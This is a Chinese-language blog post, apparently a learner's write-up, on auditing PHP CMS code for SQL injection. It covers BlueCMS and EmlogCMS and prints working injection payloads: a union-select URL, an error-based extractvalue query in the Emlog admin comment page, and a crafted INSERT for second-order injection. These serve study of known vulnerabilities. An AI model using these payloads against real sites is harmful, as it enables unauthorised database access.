CMS代码审计-SQL入门(二)

admin 2024年3月31日19:47:03评论12 views字数 2972阅读9分54秒阅读模式

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任!

前言

今天学习了php代码审计的基础知识,然后使用bluecms和emlogcms进行了实验,代码审计前期需要使用到的工具phpstorm,cms坏境的搭建,mysql数据库监控工具。基础知识 sql注入常见的敏感函数:select,mysql_query 挖掘手法:

1. 数据库监控利用利用语句进行分析
2. SQL执行代码函数调用链追踪
3. 正则搜索:(update|select|insert|delete|).*?where.*=
如何快速的发现sql注入:
1. 看文件路径,首先看前台路径(如果是后台路径就可=可能会登录后台才能造成)
2. 看代码里面的变量是否可控
3. 看变量是否进行过滤

漏洞复现

bluecms

CMS代码审计-SQL入门(二)

通过正则表达式搜索,并配合cnvd找到这个参数

CMS代码审计-SQL入门(二)

进行代码分析,查看getone声明的含义是什么

CMS代码审计-SQL入门(二)

在代码审计中经常用到的就是声明、用例和实现

CMS代码审计-SQL入门(二)

转到第一个文件,查看query声明的是什么

CMS代码审计-SQL入门(二)

发现query使用的是连接数据库的函数,而且在调用这个声明函数的整个过程都没有进行过滤

CMS代码审计-SQL入门(二)

查看数据库中的表存在几个字段

CMS代码审计-SQL入门(二)

CMS代码审计-SQL入门(二)

构造poc:ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,database() 这里是会回显数据到html代码中

CMS代码审计-SQL入门(二)

CMS代码审计-SQL入门(二)

emlogcms

报错注入

通过cnvd分析知道文件在后台的co***.php中

CMS代码审计-SQL入门(二)

通过文件名大致知道在comment文件中,找可控变量,没有进行过滤

CMS代码审计-SQL入门(二)

这里的ip是可控的而且没有进行过滤,其余的列如id已经使用intval(这个函数也可以绕过)函数进行过滤

CMS代码审计-SQL入门(二)

追踪delcommentbyip声明的含义

CMS代码审计-SQL入门(二)

是一个sql查询语句,而且没有做任何过滤

CMS代码审计-SQL入门(二)

回到comment.php文件我们需要让action变量为delbyip后才会执行到ip这个参数,但是这个文件没有给action变量赋值的命令,而文件开头引用了globals.php文件。

CMS代码审计-SQL入门(二)

这里action可以直接使用get赋值

CMS代码审计-SQL入门(二)

登录过后使用poc:/admin/comment.php?action=delbyip&ip=127.0.0.1 权限不足

CMS代码审计-SQL入门(二)

通过上面的判断语句后,还有一层判断语句,检测token值

CMS代码审计-SQL入门(二)

通过checkToken追踪到include/lib/loginauth.php这里写了可以使用get方法给token传值

CMS代码审计-SQL入门(二)

登录后台获取token值

CMS代码审计-SQL入门(二)

这些判断条件都满足后,最后会跳转删除界面

CMS代码审计-SQL入门(二)

CMS代码审计-SQL入门(二)

可以直接使用报错注入poc:/admin/comment.php?action=delbyip&ip=127.0.0.1'and(extractvalue(1,concat(0x7e,(select user()),0x7e))) --+&token=84735eeab8afdc7657efb14b2c64e24a

CMS代码审计-SQL入门(二)

后台二次注入

CMS代码审计-SQL入门(二)

根据cnvd提示是后台的user.php文件,但是没有找到可控参数,利用mysql(MySQL-Monitor-master)监控工具进行查看,把工具导入网站根目录,然后红色为连接成功

CMS代码审计-SQL入门(二)

我们登录后台访问user.php文件,发现一个可能是传参的变量

CMS代码审计-SQL入门(二)

使用正则搜索

CMS代码审计-SQL入门(二)

这里是从数据库查询信息的语句

public function getUsers($email = ''$nickname = ''$page = 1) {
        $condition = $limit = '';
        if ($email) {
            $condition = " and email like '$email%'";
        }
        if ($nickname) {
            $condition = " and nickname like '%$nickname%'";
        }
        if ($page) {
            $perpage_num = Option::get('admin_perpage_num');
            $startId = ($page - 1) * $perpage_num;
            $limit = "LIMIT $startId, " . $perpage_num;
        }
        $res = $this->db->query("SELECT * FROM " . DB_PREFIX . "user where 1=1 $condition order by uid desc $limit");
        $users = [];

CMS代码审计-SQL入门(二)

追踪一下getuser的用法

CMS代码审计-SQL入门(二)

回到了user文件

if (empty($action)) {
    $page = Input::getIntVar('page', 1);
    $keyword = Input::getStrVar('keyword');

    $email = $nickname = '';
    if (filter_var($keyword, FILTER_VALIDATE_EMAIL)) {
        $email = $keyword;
    } else {
        $nickname = $keyword;
    }

    $users = $User_Model->getUsers($email$nickname$page);
    $usernum = $User_Model->getUserNum($email$nickname);
    $pageurl = pagination($usernum, Option::get('admin_perpage_num'), $page"./user.php?page=");

    include View::getAdmView('header');
    require_once View::getAdmView('user');
    include View::getAdmView('footer');
    View::output();
}

CMS代码审计-SQL入门(二)

添加用户发现用户名是随机生成的不可控

CMS代码审计-SQL入门(二)

发现有个备份和导入数据库文件

CMS代码审计-SQL入门(二)

看了一下data.php文件并没有对上传文件的sql语句进行检测

CMS代码审计-SQL入门(二)

CMS代码审计-SQL入门(二)

POC:INSERT INTO emlog_user VALUES('110','','Bn0lOrvu.B3jVC6wDnmimd6K8j1ukQ0.',(select version()),'writer','n','','[email protected] ' , '','','0','1711641244','1711641244');

CMS代码审计-SQL入门(二)

访问user.php地址造成二次注入

CMS代码审计-SQL入门(二)

总结

最开始的两个cms还可以理解,最后一个二次注入比较有难度,今天学习了代码审计很多小技巧,例如正则搜索,可控字符,是否过滤等。整个审计的过程是杂乱无章的,还需要努力学习。

原文始发于微信公众号(Piusec):CMS代码审计-SQL入门(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月31日19:47:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CMS代码审计-SQL入门(二)http://cn-sec.com/archives/2616922.html

发表评论

匿名网友 填写信息